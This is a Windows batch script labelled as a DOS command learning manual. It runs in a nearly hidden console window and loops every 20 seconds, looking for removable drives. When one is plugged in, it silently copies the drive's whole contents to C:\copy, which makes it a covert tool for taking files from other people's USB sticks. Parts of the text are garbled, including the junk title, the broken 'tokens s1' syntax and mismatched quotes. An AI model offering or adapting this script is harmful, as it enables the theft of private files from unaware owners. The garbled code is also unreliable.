May 22, 2021 DOS Command learning manual
@echo off
Title $$$$?'$$$$$'
mode con: cols=14 lines=1
:again
Cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "removable drive" "%temp%/copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
Rem did not detect a removable disk!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens s1" %%i in ('findstr /i 'removable drive' "%temp%/copy.tmp') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
Rem has been copied, please clean up the file in time!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again